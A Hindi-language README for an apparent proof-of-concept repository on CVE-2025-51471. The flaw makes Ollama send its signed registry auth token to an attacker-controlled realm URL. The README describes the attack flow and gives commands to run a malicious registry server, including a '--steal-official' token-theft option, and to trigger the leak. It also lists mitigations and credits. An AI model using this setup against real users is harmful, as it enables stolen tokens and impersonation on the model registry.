CVE-2025-51471 - Ollama क्रॉस-डोमेन टोकन एक्सपोज़र PoC

लेखक: ajtazer

🔥 अवलोकन

यह रिपॉजिटरी CVE-2025-51471 के लिए एक प्रूफ ऑफ कॉन्सेप्ट (PoC) है, जो एक क्रॉस-डोमेन प्रमाणीकरण टोकन एक्सपोज़र भेद्यता है जो Ollama के सभी संस्करणों (नवीनतम सहित) को प्रभावित करती है।

📋 भेद्यता विवरण

जब Ollama किसी HTTPS सर्वर से मॉडल पुल करता है जो 401 Unauthorized के साथ प्रतिक्रिया देता है, तो यह WWW-Authenticate हेडर के realm URL का अनुसरण करता है बिना यह सत्यापित किए कि यह उसी डोमेन से संबंधित है या नहीं[...]

यह एक हमलावर को निम्न की अनुमति देता है:

1. एक दुर्भावनापूर्ण "registry" सर्वर स्थापित करना
2. किसी उपयोगकर्ता को उस सर्वर से मॉडल पुल करने के लिए धोखा देना
3. हमलावर-नियंत्रित एंडपॉइंट की ओर इशारा करते हुए WWW-Authenticate हेडर के साथ 401 प्रतिक्रिया लौटाना
4. Ollama आँख बंद करके अपना Ed25519-हस्ताक्षरित प्रमाणीकरण टोकन हमलावर को भेजता है
5. हमलावर टोकन को कैप्चर करता है

प्रभाव

• registry.ollama.ai पर निजी मॉडल एक्सेस करना
• पीड़ित की पहचान के तहत दुर्भावनापूर्ण मॉडल पुश करना
• Ollama रजिस्ट्री पर पीड़ित के रूप में प्रतिरूपण करना

🚀 त्वरित प्रारंभ

पूर्वापेक्षाएँ

• Python 3.7+
• Flask (pip install flask)
• Ollama (कोई भी संस्करण)

स्थापना

git clone https://github.com/ajtazer/CVE-2025-51471-PoC.git
cd CVE-2025-51471-PoC
pip install flask

PoC चलाना

1. दुर्भावनापूर्ण रजिस्ट्री सर्वर प्रारंभ करें (HTTP मोड):

python3 malicious_registry.py --no-ssl

2. एक अन्य टर्मिनल में, सुनिश्चित करें कि Ollama चल रहा है:

ollama serve

3. भेद्यता को ट्रिगर करें:

# Using curl API
curl http://localhost:11434/api/pull -d '{"model": "localhost:8080/malicious/model", "insecure": true}'

# OR using ollama CLI
ollama pull --insecure localhost:8080/malicious/model

4. कैप्चर किए गए टोकन के लिए सर्वर टर्मिनल देखें!

🎬 डेमो (PoC वीडियो)

मैंने इस PoC को एक छोटे वीडियो में प्रदर्शित किया है — इसे यहाँ देखें:

YouTube — PoC डेमो

नोट (macOS HTTPS मोड): यदि HTTPS मोड का उपयोग कर रहे हैं, तो जनरेट किए गए प्रमाणपत्र को अपने keychain में जोड़ें या --no-ssl के साथ HTTP मोड का उपयोग करें।

📖 उपयोग विकल्प

python3 malicious_registry.py [-h] [--port PORT] [--no-ssl] [--steal-official]

Options:
  --port, -p PORT       Port to listen on (default: 8080)
  --no-ssl              Use HTTP instead of HTTPS
  --steal-official, -s  Redirect to steal registry.ollama.ai tokens
  --no-verbose          Disable verbose output

🔧 API एंडपॉइंट्स

🛡️ शमन

1. केवल विश्वसनीय स्रोतों से मॉडल पुल करें
2. तृतीय-पक्ष रजिस्ट्रियों से मॉडल पुल करते समय सावधान रहें
3. आधिकारिक फिक्स के लिए PR #10750 देखें

📝 श्रेय

• लेखक: ajtazer
• मूल शोधकर्ता:
  • Mohammed Benhelli (@FuzzingLabs)
  • Patrick Ventuzelo (@FuzzingLabs)
  • Huntr Report

⚠️ अस्वीकरण

यह PoC केवल शैक्षिक और अधिकृत सुरक्षा परीक्षण उद्देश्यों के लिए है। इसका उपयोग उन प्रणालियों के विरुद्ध न करें जिनके आप स्वामी नहीं हैं।

❤️ के साथ Antigravity का उपयोग करके बनाया गया